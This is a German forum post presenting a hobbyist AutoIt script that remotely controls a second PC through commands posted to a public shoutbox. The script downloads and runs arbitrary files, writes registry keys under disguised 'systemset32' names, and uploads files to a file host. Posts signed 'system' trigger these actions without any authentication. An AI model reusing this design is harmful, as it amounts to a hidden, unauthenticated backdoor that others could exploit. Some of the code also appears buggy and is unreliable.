serversteuerung über shoutbox

  • hallo

    ich will euch hier mal meine zukünftige zweitcomputersteuerung vorstellen =)

    was soll das script machen?

    es soll meinen zweiten computer den ich als art server einsetzten will über diese shoutbox hier steuern:

    http://178941.shoutbox.de/ ( seite ist seit vorher iwie down :( //edit es geht wieder)

    vorgesehen sind ein iterpretierer (gibt es das wort ?()

    und eine "serversteuerung" .

    hier mal mein steuerungscript (nicht über die registry- und ordner wundern... das war ursprünglcih mal gedacht um mein bruder zu ärgern...)

    Spoiler anzeigen
    [autoit]

    Opt("RunErrorsFatal",0)
    #include<ie.au3>
    while ping("http://178941.shoutbox.de/") = 0
    sleep(10)
    WEnd
    _messagesend("info","server online")
    _main()
    func _main()
    while 1
    If Ping ("http://178941.shoutbox.de/") <> 0 Then
    $error=0
    $oIE = _IECreate("http://178941.shoutbox.de/")
    $htmlIE = _IEDocReadHTML($oIE)
    IniWrite(@ScriptDir&"\shbox.ini","html","1",$htmlIE)
    $userIE = StringRegExp ($htmlIE,'(?i).*"><b>(.*)</b>:',1)
    $messageIE = StringRegExp($htmlIE,"(?i).*\: (.*)[\s.]*<script>.*",1)
    if $messageIE = 1 Then
    $atserverIE = StringRegExp($messageIE[0],".*\((.*)\).*",1)
    $commandIE = StringSplit($messageIE[0],"(")
    EndIf
    If $atserverIE = 1 Then
    $atservervalueIE = StringSplit($atserverIE[0],",")
    $secondservervalueIE = StringSplit($atserverIE[0],",")
    EndIf
    if $commandIE[0] < 0 Then
    $commandIE = $commandIE[1]
    EndIf
    if $userIE = 1 Then
    $userIE = $userIE[0]
    EndIf
    if $atserverIE = 1 Then
    $atserverIE = $atserverIE[0]
    EndIf
    if $atservervalueIE[0] < 0 Then
    $atservervalueIE = $atservervalueIE[1]
    EndIf
    if $secondservervalueIE[0] = 2 Then
    $secondservervalueIE = $secondservervalueIE[2]
    EndIf
    MsgBox(0,"",$userIE&@CRLF&$commandIE&@CR&$atservervalueIE&@CR&$secondservervalueIE)
    Select
    Case $userIE = "system"
    Select
    Case $commandIE = "newscript"
    $error = InetGet($atservervalueIE,$secondservervalueIE,1,0)
    If $error = 1 Then
    _messagesend("info","download fehlgeschlagen")
    Else
    _messagesend("server","download war erfolgreich")
    EndIf
    Case $commandIE = "newversion"
    $error = InetGet($atservervalueIE,@HomeDrive&"\windows\system32\systemconfig\"&$secondservervalueIE,1,0)
    If $error = 1 Then
    _messagesend("info","download fehlgeschlagen")
    Else
    _messagesend("server","download war erfolgreich")
    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\systemset32\serverc","ScriptFullPath","reg_sz",@ScriptFullPath)
    run ($atservervalueIE)
    Exit
    EndIf
    Case $commandIE = "run"
    run($atservervalueIE)
    if @error = 1 Then
    _messagesend("info","pfad existiert nicht")
    Else
    _messagesend("server","script wird ausgeführt (warte auf Regystrieintrag)")
    EndIf
    Case $commandIE = "reg"
    $error = RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\systemset32\serverscript",$atservervalueIE,"reg_sz",$secondservervalueIE)
    If $error = 1 Then
    _messagesend("server","registryeintrag war erfolgreich")
    Else
    _messagesend("info","registryeintrag war nicht erfolgreich")
    EndIf
    case $commandIE = "wake up"
    $sleep = 1
    _messagesend("server","server bereit")
    Case $commandIE = "standby"
    $sleep = 60000
    _messagesend("server","server auf standby")
    Case $commandIE = "newsynonym"
    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\systemset32\synonym",$atservervalueIE,"reg_sz",$secondservervalueIE)
    $synlist = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\systemset32\list","list")
    $error = RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\systemset32\list","list","REG_MULTI_SZ",$synlist&@lf&$secondservervalueIE)
    if $error = 1 Then
    _messagesend("server","registryeintrag war erfolgreich")
    Else
    _messagesend("info","registryeintrag war nicht erfolgreich")
    EndIf
    Case $commandIE = "showsynonym"
    $ini = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\systemset32\list","list")
    IniWrite(@HomeDrive&"\windows\system32\systemconfig\commandlist.ini","commands","",$ini)
    _upload(@HomeDrive&"\windows\system32\systemconfig\commandlist.ini")
    Case Else
    $synlist = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\systemset32\list","list")
    $synonyms = StringRegExp($synlist,$commandIE)
    if $synonyms = 1 Then
    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\systemset32\interpreter","command","reg_sz",$commandIE)
    _messagesend("server","befehl wird übertragen")
    Else
    _messagesend("info","befehl konnte nicht gefunden werden")
    EndIf
    EndSelect
    EndSelect
    Sleep($sleep)
    endif
    WEnd
    EndFunc
    Func _messagesend($c_szName,$c_szMsg)
    $oIE = _IECreate("http://178941.shoutbox.de/",0,0)
    $oForm = _IEFormGetCollection ($oIE,0)
    $oName = _IEFormElementGetCollection($oForm,4)
    $oMsg = _IEFormElementGetCollection($oForm,5)
    $oSubmit = _IEFormElementGetObjByName($oForm,"ok")
    _IEFormElementSetValue($oName,$c_szName)
    _IEFormElementSetValue($oMsg,$c_szMsg)
    _IEAction($oSubmit,"click")
    _IEQuit($oIE)
    EndFunc
    Func _upload($upload)
    $oIE=_IECreate("http://fileupload2.fi.funpic.de/haupt.html")
    $html=_IEDocReadHTML($oIE)
    _IEQuit($oIE)
    $link = StringRegExp($html,'(?i).*<a href="(.*)">Mirror.*',1)
    $link=$link[0]
    $oIE = _IECreate($link)
    $oForm = _IEFormGetCollection($oIE,0)
    $oInputFile = _IEFormElementGetObjByName($oForm, "userfile")
    _IEAction($oInputFile, "focus")
    $hwnd = _IEPropertyGet($oIE, "hwnd")
    ControlSend($hwnd, "", "Internet Explorer_Server1", $upload)
    $oSubmit = _IEGetObjByName ($oIE, "action")
    _IEAction($oSubmit, "click")
    _IELoadWait($oIE)
    $html=_IEDocReadHTML($oIE)
    _IEQuit($oIE)
    $link=StringRegExp($html,'(?i).*>(.*)</a><br><br><br>.*',1)
    $link=$link[0]
    _messagesend("upload",$link)
    EndFunc

    [/autoit]

    der interpretierer ist nichts besonnderes er wertet einfach nur in einr endloschleife die registryeinträge aus die ihm zugewiesen werden...

    also zum beispiel
    if $registrycommand = blockinput then
    blockinput ($registryvalue)
    endif

    was macht nun das script genau?

    es wertet den beitrag in der shoutbox aus und entscheidet dann was es machen soll:

    newscript(url,pfad)

    downloadet eine datei in den pfad der angegeben ist.

    diese scripte sind mehr oder weiniger themporär und haben deswegen keinen festen registrywert.

    um die scripte anzusprechen gibt es die befehle run und reg

    run (pfad bzw name)

    startet -wer hät's gedacht- ein "temporäres script" oder sonst was

    reg (key, value)

    schreibt werte als steuerung der "temporären scripte" in die registry.

    paaralell dazu gibt es die familie synonym mit newsynonym und showsynonym. sie sind für die steuerung des interpretierers (wenn ich dieses wort noch einmal schreiben muss dann kotz ich^^) gedacht

    newsynonym(key,value)

    z.b. newsynonym(blockinput,zustände) dies versteht der interpretierer(*kotz*) leider erst wenn er upgedated wurde was aber kein all zu großes problem darstellt.

    showsynonym(keine werte)
    schreibt mir alle synonyme in eine ini und loadet sie mir hoch.

    dann noch newversion

    läd die datei herunter schreibt ihren eigenen pfad in die registry sodas die neu verion die alte "serversoftware" komfortabel löschen kann.

    und zum schluss wake up und standby

    wake up
    weckt die software auf

    standby
    legt sie wieder schlafen.

    sodele das wars =)


    speziale tänks:

    bernd: hat mich durch die ganze regexpgeschichte geschleift
    snoozer und gta: haben mir eigedlich die ganzen ie.au3 geschichten über icq vorgekaut.


    so jetzt seit ihr dran mich zu kritisieren ;(


    mfg

    derda

    Einmal editiert, zuletzt von derda (10. Juni 2007 um 22:26)